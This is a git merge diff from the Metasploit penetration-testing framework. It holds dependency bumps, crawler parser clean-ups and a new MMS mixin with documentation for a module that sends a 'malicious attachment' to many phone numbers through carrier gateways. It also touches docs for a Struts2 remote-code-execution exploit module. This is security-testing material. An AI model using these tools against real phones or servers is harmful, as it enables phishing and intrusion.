Merge remote-tracking branch 'upstream/master' into land-8118-
commit
52cea93ea2
22
Gemfile.lock
22
Gemfile.lock
|
@ -1,7 +1,7 @@
|
||||||
PATH
|
PATH
|
||||||
remote: .
|
remote: .
|
||||||
specs:
|
specs:
|
||||||
metasploit-framework (4.14.2)
|
metasploit-framework (4.14.3)
|
||||||
actionpack (~> 4.2.6)
|
actionpack (~> 4.2.6)
|
||||||
activerecord (~> 4.2.6)
|
activerecord (~> 4.2.6)
|
||||||
activesupport (~> 4.2.6)
|
activesupport (~> 4.2.6)
|
||||||
|
@ -14,7 +14,7 @@ PATH
|
||||||
metasploit-concern
|
metasploit-concern
|
||||||
metasploit-credential
|
metasploit-credential
|
||||||
metasploit-model
|
metasploit-model
|
||||||
metasploit-payloads (= 1.2.17)
|
metasploit-payloads (= 1.2.18)
|
||||||
metasploit_data_models
|
metasploit_data_models
|
||||||
metasploit_payloads-mettle (= 0.1.7)
|
metasploit_payloads-mettle (= 0.1.7)
|
||||||
msgpack
|
msgpack
|
||||||
|
@ -104,7 +104,7 @@ GEM
|
||||||
bcrypt (3.1.11)
|
bcrypt (3.1.11)
|
||||||
bit-struct (0.15.0)
|
bit-struct (0.15.0)
|
||||||
builder (3.2.3)
|
builder (3.2.3)
|
||||||
capybara (2.12.1)
|
capybara (2.13.0)
|
||||||
addressable
|
addressable
|
||||||
mime-types (>= 1.16)
|
mime-types (>= 1.16)
|
||||||
nokogiri (>= 1.3.3)
|
nokogiri (>= 1.3.3)
|
||||||
|
@ -145,8 +145,8 @@ GEM
|
||||||
ffi (1.9.18)
|
ffi (1.9.18)
|
||||||
filesize (0.1.1)
|
filesize (0.1.1)
|
||||||
fivemat (1.3.2)
|
fivemat (1.3.2)
|
||||||
gherkin (4.0.0)
|
gherkin (4.1.1)
|
||||||
google-protobuf (3.2.0)
|
google-protobuf (3.2.0.2)
|
||||||
googleauth (0.5.1)
|
googleauth (0.5.1)
|
||||||
faraday (~> 0.9)
|
faraday (~> 0.9)
|
||||||
jwt (~> 1.4)
|
jwt (~> 1.4)
|
||||||
|
@ -164,7 +164,7 @@ GEM
|
||||||
json (2.0.3)
|
json (2.0.3)
|
||||||
jwt (1.5.6)
|
jwt (1.5.6)
|
||||||
little-plugger (1.1.4)
|
little-plugger (1.1.4)
|
||||||
logging (2.1.0)
|
logging (2.2.0)
|
||||||
little-plugger (~> 1.1)
|
little-plugger (~> 1.1)
|
||||||
multi_json (~> 1.10)
|
multi_json (~> 1.10)
|
||||||
loofah (2.0.3)
|
loofah (2.0.3)
|
||||||
|
@ -190,7 +190,7 @@ GEM
|
||||||
activemodel (~> 4.2.6)
|
activemodel (~> 4.2.6)
|
||||||
activesupport (~> 4.2.6)
|
activesupport (~> 4.2.6)
|
||||||
railties (~> 4.2.6)
|
railties (~> 4.2.6)
|
||||||
metasploit-payloads (1.2.17)
|
metasploit-payloads (1.2.18)
|
||||||
metasploit_data_models (2.0.14)
|
metasploit_data_models (2.0.14)
|
||||||
activerecord (~> 4.2.6)
|
activerecord (~> 4.2.6)
|
||||||
activesupport (~> 4.2.6)
|
activesupport (~> 4.2.6)
|
||||||
|
@ -227,7 +227,7 @@ GEM
|
||||||
pcaprub
|
pcaprub
|
||||||
patch_finder (1.0.2)
|
patch_finder (1.0.2)
|
||||||
pcaprub (0.12.4)
|
pcaprub (0.12.4)
|
||||||
pg (0.19.0)
|
pg (0.20.0)
|
||||||
pg_array_parser (0.0.9)
|
pg_array_parser (0.0.9)
|
||||||
postgres_ext (3.0.0)
|
postgres_ext (3.0.0)
|
||||||
activerecord (>= 4.0.0)
|
activerecord (>= 4.0.0)
|
||||||
|
@ -256,7 +256,7 @@ GEM
|
||||||
thor (>= 0.18.1, < 2.0)
|
thor (>= 0.18.1, < 2.0)
|
||||||
rake (12.0.0)
|
rake (12.0.0)
|
||||||
rb-readline (0.5.4)
|
rb-readline (0.5.4)
|
||||||
recog (2.1.4)
|
recog (2.1.5)
|
||||||
nokogiri
|
nokogiri
|
||||||
redcarpet (3.4.0)
|
redcarpet (3.4.0)
|
||||||
rex-arch (0.1.4)
|
rex-arch (0.1.4)
|
||||||
|
@ -335,7 +335,7 @@ GEM
|
||||||
faraday (~> 0.9)
|
faraday (~> 0.9)
|
||||||
jwt (~> 1.5)
|
jwt (~> 1.5)
|
||||||
multi_json (~> 1.10)
|
multi_json (~> 1.10)
|
||||||
simplecov (0.13.0)
|
simplecov (0.14.0)
|
||||||
docile (~> 1.1.0)
|
docile (~> 1.1.0)
|
||||||
json (>= 1.8, < 3)
|
json (>= 1.8, < 3)
|
||||||
simplecov-html (~> 0.10.0)
|
simplecov-html (~> 0.10.0)
|
||||||
|
@ -350,7 +350,7 @@ GEM
|
||||||
thread_safe (~> 0.1)
|
thread_safe (~> 0.1)
|
||||||
tzinfo-data (1.2017.1)
|
tzinfo-data (1.2017.1)
|
||||||
tzinfo (>= 1.0.0)
|
tzinfo (>= 1.0.0)
|
||||||
windows_error (0.1.0)
|
windows_error (0.1.1)
|
||||||
xpath (2.0.0)
|
xpath (2.0.0)
|
||||||
nokogiri (~> 1.3)
|
nokogiri (~> 1.3)
|
||||||
yard (0.9.8)
|
yard (0.9.8)
|
||||||
|
|
|
@ -1,17 +1,8 @@
|
||||||
##
|
##
|
||||||
# $Id$
|
# This module requires Metasploit: http://metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
##
|
##
|
||||||
|
|
||||||
##
|
|
||||||
# This file is part of the Metasploit Framework and may be subject to
|
|
||||||
# redistribution and commercial restrictions. Please see the Metasploit
|
|
||||||
# Framework web site for more information on licensing and terms of use.
|
|
||||||
# http://metasploit.com/framework/
|
|
||||||
##
|
|
||||||
|
|
||||||
# $Revision$
|
|
||||||
|
|
||||||
require 'rubygems'
|
|
||||||
require 'pathname'
|
require 'pathname'
|
||||||
require 'nokogiri'
|
require 'nokogiri'
|
||||||
require 'uri'
|
require 'uri'
|
||||||
|
@ -19,10 +10,7 @@ require 'uri'
|
||||||
class CrawlerSimple < BaseParser
|
class CrawlerSimple < BaseParser
|
||||||
|
|
||||||
def parse(request,result)
|
def parse(request,result)
|
||||||
|
return unless result['Content-Type'].include?('text/html')
|
||||||
if !result['Content-Type'].include? "text/html"
|
|
||||||
return
|
|
||||||
end
|
|
||||||
|
|
||||||
# doc = Hpricot(result.body.to_s)
|
# doc = Hpricot(result.body.to_s)
|
||||||
doc = Nokogiri::HTML(result.body.to_s)
|
doc = Nokogiri::HTML(result.body.to_s)
|
||||||
|
|
|
@ -0,0 +1,31 @@
|
||||||
|
##
|
||||||
|
# This module requires Metasploit: http://metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'pathname'
|
||||||
|
require 'nokogiri'
|
||||||
|
require 'uri'
|
||||||
|
|
||||||
|
class CrawlerComments < BaseParser
|
||||||
|
|
||||||
|
def parse(request,result)
|
||||||
|
return unless result['Content-Type'].include?('text/html')
|
||||||
|
|
||||||
|
doc = Nokogiri::HTML(result.body.to_s)
|
||||||
|
doc.xpath('//comment()').each do |comment|
|
||||||
|
# searching for href
|
||||||
|
hr = /href\s*=\s*"([^"]*)"/.match(comment)
|
||||||
|
if hr
|
||||||
|
begin
|
||||||
|
hreq = urltohash('GET', hr[1], request['uri'], nil)
|
||||||
|
insertnewpath(hreq)
|
||||||
|
rescue URI::InvalidURIError
|
||||||
|
# ignored
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
|
end
|
|
@ -1,17 +1,8 @@
|
||||||
##
|
##
|
||||||
# $Id$
|
# This module requires Metasploit: http://metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
##
|
##
|
||||||
|
|
||||||
##
|
|
||||||
# This file is part of the Metasploit Framework and may be subject to
|
|
||||||
# redistribution and commercial restrictions. Please see the Metasploit
|
|
||||||
# Framework web site for more information on licensing and terms of use.
|
|
||||||
# http://metasploit.com/framework/
|
|
||||||
##
|
|
||||||
|
|
||||||
# $Revision$
|
|
||||||
|
|
||||||
require 'rubygems'
|
|
||||||
require 'pathname'
|
require 'pathname'
|
||||||
require 'nokogiri'
|
require 'nokogiri'
|
||||||
require 'uri'
|
require 'uri'
|
||||||
|
@ -19,28 +10,21 @@ require 'uri'
|
||||||
class CrawlerForms < BaseParser
|
class CrawlerForms < BaseParser
|
||||||
|
|
||||||
def parse(request,result)
|
def parse(request,result)
|
||||||
|
return unless result['Content-Type'].include?('text/html')
|
||||||
if !result['Content-Type'].include? "text/html"
|
|
||||||
return
|
|
||||||
end
|
|
||||||
|
|
||||||
hr = ''
|
|
||||||
m = ''
|
|
||||||
|
|
||||||
doc = Nokogiri::HTML(result.body.to_s)
|
doc = Nokogiri::HTML(result.body.to_s)
|
||||||
doc.css('form').each do |f|
|
doc.css('form').each do |f|
|
||||||
hr = f['action']
|
hr = f['action']
|
||||||
|
|
||||||
fname = f['name']
|
# Removed because unused
|
||||||
fname = "NONE" if fname.empty?
|
#fname = f['name']
|
||||||
|
#fname = 'NONE' if fname.empty?
|
||||||
|
|
||||||
m = f['method'].empty? ? 'GET' : f['method'].upcase
|
m = (f['method'].empty? ? 'GET' : f['method'].upcase)
|
||||||
|
|
||||||
htmlform = Nokogiri::HTML(f.inner_html)
|
|
||||||
|
|
||||||
arrdata = []
|
arrdata = []
|
||||||
|
|
||||||
htmlform.css('input').each do |p|
|
f.css('input').each do |p|
|
||||||
arrdata << "#{p['name']}=#{Rex::Text.uri_encode(p['value'])}"
|
arrdata << "#{p['name']}=#{Rex::Text.uri_encode(p['value'])}"
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -51,7 +35,10 @@ class CrawlerForms < BaseParser
|
||||||
hreq['ctype'] = 'application/x-www-form-urlencoded'
|
hreq['ctype'] = 'application/x-www-form-urlencoded'
|
||||||
insertnewpath(hreq)
|
insertnewpath(hreq)
|
||||||
rescue URI::InvalidURIError
|
rescue URI::InvalidURIError
|
||||||
|
#puts "Parse error"
|
||||||
|
#puts "Error: #{link[0]}"
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
|
@ -1,13 +1,8 @@
|
||||||
|
|
||||||
##
|
##
|
||||||
# This file is part of the Metasploit Framework and may be subject to
|
# This module requires Metasploit: http://metasploit.com/download
|
||||||
# redistribution and commercial restrictions. Please see the Metasploit
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
# Framework web site for more information on licensing and terms of use.
|
|
||||||
# http://metasploit.com/framework/
|
|
||||||
##
|
##
|
||||||
|
|
||||||
|
|
||||||
require 'rubygems'
|
|
||||||
require 'pathname'
|
require 'pathname'
|
||||||
require 'nokogiri'
|
require 'nokogiri'
|
||||||
require 'uri'
|
require 'uri'
|
||||||
|
@ -27,6 +22,7 @@ class CrawlerFrames < BaseParser
|
||||||
hreq = urltohash('GET', ir, request['uri'], nil)
|
hreq = urltohash('GET', ir, request['uri'], nil)
|
||||||
insertnewpath(hreq)
|
insertnewpath(hreq)
|
||||||
rescue URI::InvalidURIError
|
rescue URI::InvalidURIError
|
||||||
|
# ignored
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
|
@ -1,14 +1,8 @@
|
||||||
|
|
||||||
##
|
##
|
||||||
# This file is part of the Metasploit Framework and may be subject to
|
# This module requires Metasploit: http://metasploit.com/download
|
||||||
# redistribution and commercial restrictions. Please see the Metasploit
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
# Framework web site for more information on licensing and terms of use.
|
|
||||||
# http://metasploit.com/framework/
|
|
||||||
##
|
##
|
||||||
|
|
||||||
# $Revision: 9212 $
|
|
||||||
|
|
||||||
require 'rubygems'
|
|
||||||
require 'pathname'
|
require 'pathname'
|
||||||
require 'nokogiri'
|
require 'nokogiri'
|
||||||
require 'uri'
|
require 'uri'
|
||||||
|
@ -27,6 +21,7 @@ class CrawlerImage < BaseParser
|
||||||
hreq = urltohash('GET', im, request['uri'], nil)
|
hreq = urltohash('GET', im, request['uri'], nil)
|
||||||
insertnewpath(hreq)
|
insertnewpath(hreq)
|
||||||
rescue URI::InvalidURIError
|
rescue URI::InvalidURIError
|
||||||
|
# ignored
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
|
@ -1,14 +1,8 @@
|
||||||
|
|
||||||
##
|
##
|
||||||
# This file is part of the Metasploit Framework and may be subject to
|
# This module requires Metasploit: http://metasploit.com/download
|
||||||
# redistribution and commercial restrictions. Please see the Metasploit
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
# Framework web site for more information on licensing and terms of use.
|
|
||||||
# http://metasploit.com/framework/
|
|
||||||
##
|
##
|
||||||
|
|
||||||
# $Revision: 9212 $
|
|
||||||
|
|
||||||
require 'rubygems'
|
|
||||||
require 'pathname'
|
require 'pathname'
|
||||||
require 'nokogiri'
|
require 'nokogiri'
|
||||||
require 'uri'
|
require 'uri'
|
||||||
|
@ -26,6 +20,7 @@ class CrawlerLink < BaseParser
|
||||||
hreq = urltohash('GET', hr, request['uri'], nil)
|
hreq = urltohash('GET', hr, request['uri'], nil)
|
||||||
insertnewpath(hreq)
|
insertnewpath(hreq)
|
||||||
rescue URI::InvalidURIError
|
rescue URI::InvalidURIError
|
||||||
|
# ignored
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
|
@ -1,17 +1,8 @@
|
||||||
##
|
##
|
||||||
# $Id$
|
# This module requires Metasploit: http://metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
##
|
##
|
||||||
|
|
||||||
##
|
|
||||||
# This file is part of the Metasploit Framework and may be subject to
|
|
||||||
# redistribution and commercial restrictions. Please see the Metasploit
|
|
||||||
# Framework web site for more information on licensing and terms of use.
|
|
||||||
# http://metasploit.com/framework/
|
|
||||||
##
|
|
||||||
|
|
||||||
# $Revision$
|
|
||||||
|
|
||||||
require 'rubygems'
|
|
||||||
require 'pathname'
|
require 'pathname'
|
||||||
require 'nokogiri'
|
require 'nokogiri'
|
||||||
require 'uri'
|
require 'uri'
|
||||||
|
@ -29,6 +20,7 @@ class CrawlerObjects < BaseParser
|
||||||
hreq = urltohash('GET', s, request['uri'], nil)
|
hreq = urltohash('GET', s, request['uri'], nil)
|
||||||
insertnewpath(hreq)
|
insertnewpath(hreq)
|
||||||
rescue URI::InvalidURIError
|
rescue URI::InvalidURIError
|
||||||
|
# ignored
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
|
@ -1,17 +1,8 @@
|
||||||
##
|
##
|
||||||
# $Id$
|
# This module requires Metasploit: http://metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
##
|
##
|
||||||
|
|
||||||
##
|
|
||||||
# This file is part of the Metasploit Framework and may be subject to
|
|
||||||
# redistribution and commercial restrictions. Please see the Metasploit
|
|
||||||
# Framework web site for more information on licensing and terms of use.
|
|
||||||
# http://metasploit.com/framework/
|
|
||||||
##
|
|
||||||
|
|
||||||
# $Revision$
|
|
||||||
|
|
||||||
require 'rubygems'
|
|
||||||
require 'pathname'
|
require 'pathname'
|
||||||
require 'nokogiri'
|
require 'nokogiri'
|
||||||
require 'uri'
|
require 'uri'
|
||||||
|
@ -21,8 +12,6 @@ class CrawlerScripts < BaseParser
|
||||||
def parse(request,result)
|
def parse(request,result)
|
||||||
return unless result['Content-Type'].include? "text/html"
|
return unless result['Content-Type'].include? "text/html"
|
||||||
|
|
||||||
hr = ''
|
|
||||||
m = ''
|
|
||||||
doc = Nokogiri::HTML(result.body.to_s)
|
doc = Nokogiri::HTML(result.body.to_s)
|
||||||
doc.xpath("//script").each do |obj|
|
doc.xpath("//script").each do |obj|
|
||||||
s = obj['src']
|
s = obj['src']
|
||||||
|
@ -30,6 +19,7 @@ class CrawlerScripts < BaseParser
|
||||||
hreq = urltohash('GET', s, request['uri'], nil)
|
hreq = urltohash('GET', s, request['uri'], nil)
|
||||||
insertnewpath(hreq)
|
insertnewpath(hreq)
|
||||||
rescue URI::InvalidURIError
|
rescue URI::InvalidURIError
|
||||||
|
# ignored
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
|
@ -0,0 +1,150 @@
|
||||||
|
The ```auxiliary/client/mms/send_mms``` module allows you to send a malicious attachment to a
|
||||||
|
collection of phone numbers of the same carrier.
|
||||||
|
|
||||||
|
In order to use this module, you must set up your own SMTP server to deliver messages. Popular
|
||||||
|
mail services such as Gmail, Yahoo, Live should work fine.
|
||||||
|
|
||||||
|
## Module Options
|
||||||
|
|
||||||
|
**CELLNUMBERS**
|
||||||
|
|
||||||
|
The 10-digit phone number (or numbers) you want to send the MMS text to. If you wish to target
|
||||||
|
against multiple phone numbers, ideally you want to create the list in a text file (one number per
|
||||||
|
line), and then load the CELLNUMBERS option like this:
|
||||||
|
|
||||||
|
```
|
||||||
|
set CELLNUMBERS file:///tmp/att_phone_numbers.txt
|
||||||
|
```
|
||||||
|
|
||||||
|
Remember that these phone numbers must be the same carrier.
|
||||||
|
|
||||||
|
**MMSCARRIER**
|
||||||
|
|
||||||
|
The carrier that the targeted numbers use. See **Supported Carrier Gateways** to learn more about
|
||||||
|
supported carriers.
|
||||||
|
|
||||||
|
**TEXTMESSAGE**
|
||||||
|
|
||||||
|
The text message you want to send. For example, this will send a text with a link to google:
|
||||||
|
|
||||||
|
```
|
||||||
|
set TEXTMESSAGE "Hi, please go: google.com"
|
||||||
|
```
|
||||||
|
|
||||||
|
The link should automatically be parsed on the phone and clickable.
|
||||||
|
|
||||||
|
**MMSFILE**
|
||||||
|
|
||||||
|
The attachment to send in the message.
|
||||||
|
|
||||||
|
**MMSFILECTYPE**
|
||||||
|
|
||||||
|
The content type to use for the attachment. Commonly supported ones include:
|
||||||
|
|
||||||
|
* audio/midi
|
||||||
|
* image/jpeg
|
||||||
|
* image/gif
|
||||||
|
* image/png
|
||||||
|
* video/mp4
|
||||||
|
|
||||||
|
To find more, please try this [list](http://www.freeformatter.com/mime-types-list.html)
|
||||||
|
|
||||||
|
**SMTPADDRESS**
|
||||||
|
|
||||||
|
The mail server address you wish to use to send the MMS messages.
|
||||||
|
|
||||||
|
**SMTPPORT**
|
||||||
|
|
||||||
|
The mail server port. By default, this is ```25```.
|
||||||
|
|
||||||
|
**SMTPUSERNAME**
|
||||||
|
|
||||||
|
The username you use to log into the SMTP server.
|
||||||
|
|
||||||
|
**SMTPPASSWORD**
|
||||||
|
|
||||||
|
The password you use to log into the SMTP server.
|
||||||
|
|
||||||
|
**SMTPFROM**
|
||||||
|
|
||||||
|
The FROM field of SMTP. In some cases, it may be used as ```SMTPUSER```. Some carriers require this
|
||||||
|
in order to receive the text, such as AT&T.
|
||||||
|
|
||||||
|
**MMSSUBJECT**
|
||||||
|
|
||||||
|
The MMS subject. Some carriers require this in order to receive the text, such as AT&T.
|
||||||
|
|
||||||
|
## Supported Carrier Gateways
|
||||||
|
|
||||||
|
The module supports the following carriers:
|
||||||
|
|
||||||
|
* AT&T
|
||||||
|
* Sprint
|
||||||
|
* T-Mobile
|
||||||
|
* Verizon
|
||||||
|
* Google Fi
|
||||||
|
|
||||||
|
## Finding the Carrier for a Phone Number
|
||||||
|
|
||||||
|
Since you need to manually choose the carrier gateway for the phone numbers, you need to figure out
|
||||||
|
how to identify the carrier of a phone number. There are many services that can do this, such as:
|
||||||
|
|
||||||
|
http://freecarrierlookup.com/
|
||||||
|
|
||||||
|
## Gmail SMTP Example
|
||||||
|
|
||||||
|
Gmail is a popular mail server, so we will use this as a demonstration.
|
||||||
|
|
||||||
|
Assuming you are already using two-factor authentication, you need to create an [application password](https://support.google.com/accounts/answer/185833?hl=en).
|
||||||
|
|
||||||
|
After creating the application password, configure auxiliary/client/mms/send_mms this way:
|
||||||
|
|
||||||
|
* ```set cellnumbers [PHONE NUMBER]```
|
||||||
|
* ```set mmscarrier [CHOOSE A SUPPORTED CARRIER]```
|
||||||
|
* ```set textmessage "[TEXT MESSAGE]"```
|
||||||
|
* ```set smtpaddress smtp.gmail.com```
|
||||||
|
* ```set smtpport 587```
|
||||||
|
* ```set mmsfile /tmp/example.mp4```
|
||||||
|
* ```set mmsfilectype video/mp4```
|
||||||
|
* ```set smtpusername [USERNAME FOR GMAIL]``` (you don't need ```@gmail.com``` at the end)
|
||||||
|
* ```set smtppassword [APPLICATION PASSWORD]```
|
||||||
|
|
||||||
|
And you should be ready to go.
|
||||||
|
|
||||||
|
## Yahoo SMTP Example
|
||||||
|
|
||||||
|
Yahoo is also a fairly popular mail server (although much slower to deliver comparing to Gmail),
|
||||||
|
so we will demonstrate as well.
|
||||||
|
|
||||||
|
Before using the module, you must do this to your Yahoo account:
|
||||||
|
|
||||||
|
1. Sign in to Yahoo Mail.
|
||||||
|
2. [Go to your "Account security" settings.](https://login.yahoo.com/account/security#less-secure-apps)
|
||||||
|
3. Turn on Allow apps that use less secure sign in.
|
||||||
|
|
||||||
|
After configuring your Yahoo account, configure auxiliary/client/mms/send_mms this way:
|
||||||
|
|
||||||
|
* ```set cellnumbers [PHONE NUMBER]```
|
||||||
|
* ```set mmscarrier [CHOOSE A SUPPORTED CARRIER]```
|
||||||
|
* ```set textmessage "[TEXT MESSAGE]"```
|
||||||
|
* ```set smtpaddress smtp.mail.yahoo.com```
|
||||||
|
* ```set smtpport 25```
|
||||||
|
* ```set mmsfile /tmp/example.mp4```
|
||||||
|
* ```set mmsfilectype video/mp4```
|
||||||
|
* ```set smtpusername [USERNAME FOR YAHOO]@yahoo.com```
|
||||||
|
* ```set smtppassword [YAHOO LOGIN PASSWORD]```
|
||||||
|
|
||||||
|
And you're good to go.
|
||||||
|
|
||||||
|
## Demonstration
|
||||||
|
|
||||||
|
After setting up your mail server and the module, your output should look similar to this:
|
||||||
|
|
||||||
|
```
|
||||||
|
msf auxiliary(send_mms) > run
|
||||||
|
|
||||||
|
[*] Sending mms message to 1 number(s)...
|
||||||
|
[*] Done.
|
||||||
|
[*] Auxiliary module execution completed
|
||||||
|
msf auxiliary(send_mms) >
|
||||||
|
```
|
|
@ -1,6 +1,6 @@
|
||||||
```struts2_content_type_ognl``` is a module that exploits Apache Struts 2's Jakarta Multipart
|
`struts2_content_type_ognl` is a module that exploits Apache Struts 2's Jakarta Multipart
|
||||||
parser, which makes it possible to perform arbitrary code execution with a malicious HTTP
|
parser, which makes it possible to perform arbitrary code execution with a malicious HTTP
|
||||||
```Content-Type``` value.
|
`Content-Type` value.
|
||||||
|
|
||||||
## Vulnerable Application
|
## Vulnerable Application
|
||||||
|
|
||||||
|
@ -29,7 +29,7 @@ set as optional.
|
||||||
|
|
||||||
**The Check Command**
|
**The Check Command**
|
||||||
|
|
||||||
The ```struts2_content_type_ognl``` module comes with a check command that can effectively check
|
The `struts2_content_type_ognl` module comes with a check command that can effectively check
|
||||||
if the remote host is vulnerable or not. To use this, configure the msfconsole similar to the
|
if the remote host is vulnerable or not. To use this, configure the msfconsole similar to the
|
||||||
following:
|
following:
|
||||||
|
|
||||||
|
@ -39,7 +39,7 @@ set RHOST [IP]
|
||||||
set TARGETURI [path to the Struts app with an action]
|
set TARGETURI [path to the Struts app with an action]
|
||||||
```
|
```
|
||||||
|
|
||||||
When the module is in verbose mode, the ```check``` command will try to tell you the OS information,
|
When the module is in verbose mode, the `check` command will try to tell you the OS information,
|
||||||
and whether or not the machine is vulnerable. Like this:
|
and whether or not the machine is vulnerable. Like this:
|
||||||
|
|
||||||
```
|
```
|
||||||
|
@ -54,7 +54,7 @@ msf exploit(struts2_content_type_ognl) > check
|
||||||
After identifying the vulnerability on the target machine, you can try to exploit it.
|
After identifying the vulnerability on the target machine, you can try to exploit it.
|
||||||
|
|
||||||
The exploit supports mainly two platforms: Windows and Linux. To see a list of available payloads,
|
The exploit supports mainly two platforms: Windows and Linux. To see a list of available payloads,
|
||||||
try to do ```show payloads```, and pick one. The following example demonstrates us exploiting a
|
try to do `show payloads`, and pick one. The following example demonstrates us exploiting a
|
||||||
vulnerable Ubuntu host:
|
vulnerable Ubuntu host:
|
||||||
|
|
||||||
```
|
```
|
||||||
|
|
|
@ -30,7 +30,7 @@ module Metasploit
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
VERSION = "4.14.2"
|
VERSION = "4.14.3"
|
||||||
MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i }
|
MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i }
|
||||||
PRERELEASE = 'dev'
|
PRERELEASE = 'dev'
|
||||||
HASH = get_hash
|
HASH = get_hash
|
||||||
|
|
|
@ -28,5 +28,5 @@ require 'msf/core/auxiliary/iax2'
|
||||||
require 'msf/core/auxiliary/ntp'
|
require 'msf/core/auxiliary/ntp'
|
||||||
require 'msf/core/auxiliary/pii'
|
require 'msf/core/auxiliary/pii'
|
||||||
require 'msf/core/auxiliary/redis'
|
require 'msf/core/auxiliary/redis'
|
||||||
|
|
||||||
require 'msf/core/auxiliary/sms'
|
require 'msf/core/auxiliary/sms'
|
||||||
|
require 'msf/core/auxiliary/mms'
|
||||||
|
|
|
@ -0,0 +1,69 @@
|
||||||
|
# -*- coding: binary -*-
|
||||||
|
|
||||||
|
###
|
||||||
|
#
|
||||||
|
# The Msf::Auxiliary::Mms mixin allows you to send a text message
|
||||||
|
# including a media file.
|
||||||
|
#
|
||||||
|
##
|
||||||
|
|
||||||
|
module Msf
|
||||||
|
module Auxiliary::Mms
|
||||||
|
|
||||||
|
def initialize(info={})
|
||||||
|
super
|
||||||
|
|
||||||
|
register_options(
|
||||||
|
[
|
||||||
|
OptString.new('SMTPFROM', [false, 'The FROM field for SMTP', '']),
|
||||||
|
OptString.new('SMTPADDRESS', [ true, 'The SMTP server to use to send the text messages']),
|
||||||
|
OptString.new('MMSSUBJECT', [false, 'The Email subject', '']),
|
||||||
|
OptPort.new('SMTPPORT', [true, 'The SMTP port to use to send the text messages', 25]),
|
||||||
|
OptString.new('SMTPUSERNAME', [true, 'The SMTP account to use to send the text messages']),
|
||||||
|
OptString.new('SMTPPASSWORD', [true, 'The SMTP password to use to send the text messages']),
|
||||||
|
OptEnum.new('MMSCARRIER', [true, 'The targeted MMS service provider', nil,Rex::Proto::Mms::Model::GATEWAYS.keys.collect { |k| k.to_s }]),
|
||||||
|
OptString.new('CELLNUMBERS', [true, 'The phone numbers to send to']),
|
||||||
|
OptString.new('TEXTMESSAGE', [true, 'The text message to send']),
|
||||||
|
OptPath.new('MMSFILE', [false, 'The attachment to include in the text file']),
|
||||||
|
OptString.new('MMSFILECTYPE', [false, 'The attachment content type'])
|
||||||
|
], Auxiliary::Mms)
|
||||||
|
|
||||||
|
register_advanced_options(
|
||||||
|
[
|
||||||
|
OptEnum.new('SmtpLoginType', [true, 'The SMTP login type', 'login', ['plain', 'login', 'cram_md5']]),
|
||||||
|
OptString.new('HeloDdomain', [false, 'The domain to use for HELO', ''])
|
||||||
|
], Auxiliary::Mms)
|
||||||
|
end
|
||||||
|
|
||||||
|
|
||||||
|
# Sends an MMS message to multiple numbers of the same service provider (carrier).
|
||||||
|
#
|
||||||
|
# @example This sends a text (including an attachment) via Gmail
|
||||||
|
# smtp = Rex::Proto::Mms::Model::Smtp.new(address: 'smtp.gmail.com', port: 587, username: user, password: pass)
|
||||||
|
# mms = Rex::Proto::Mms::Client.new(carrier: :verizon, smtp_server: smtp)
|
||||||
|
# mms.send_mms_to_phones(numbers, 'hello world?', '/tmp/test.jpg', 'image/jpeg')
|
||||||
|
#
|
||||||
|
# @param phone_numbers [<String>Array] An array of numbers of try (of the same carrier)
|
||||||
|
# @param subject [String] MMS subject
|
||||||
|
# @param message [String] The text to send.
|
||||||
|
# @param attachment_path [String] Optional
|
||||||
|
# @param ctype [String] Optional
|
||||||
|
#
|
||||||
|
# @return [void]
|
||||||
|
def send_mms(phone_numbers, subject, message, attachment_path=nil, ctype=nil)
|
||||||
|
smtp = Rex::Proto::Mms::Model::Smtp.new(
|
||||||
|
address: datastore['SMTPADDRESS'],
|
||||||
|
port: datastore['SMTPPORT'],
|
||||||
|
username: datastore['SMTPUSERNAME'],
|
||||||
|
password: datastore['SMTPPASSWORD'],
|
||||||
|
login_type: datastore['SmtpLoginType'].to_sym,
|
||||||
|
from: datastore['SMTPFROM'],
|
||||||
|
)
|
||||||
|
|
||||||
|
carrier = datastore['MMSCARRIER'].to_sym
|
||||||
|
mms = Rex::Proto::Mms::Client.new(carrier: carrier, smtp_server: smtp)
|
||||||
|
mms.send_mms_to_phones(phone_numbers, subject, message, attachment_path, ctype)
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
|
end
|
|
@ -23,6 +23,16 @@ module Msf
|
||||||
)
|
)
|
||||||
end
|
end
|
||||||
|
|
||||||
|
def is_loopback_address?(address)
|
||||||
|
begin
|
||||||
|
a = IPAddr.new(address.to_s)
|
||||||
|
return true if IPAddr.new('127.0.0.1/8') === a
|
||||||
|
return true if IPAddr.new('::1') === a
|
||||||
|
rescue
|
||||||
|
end
|
||||||
|
false
|
||||||
|
end
|
||||||
|
|
||||||
# A list of addresses to attempt to bind, in preferred order.
|
# A list of addresses to attempt to bind, in preferred order.
|
||||||
#
|
#
|
||||||
# @return [Array<String>] a two-element array. The first element will be
|
# @return [Array<String>] a two-element array. The first element will be
|
||||||
|
@ -32,11 +42,18 @@ module Msf
|
||||||
def bind_addresses
|
def bind_addresses
|
||||||
# Switch to IPv6 ANY address if the LHOST is also IPv6
|
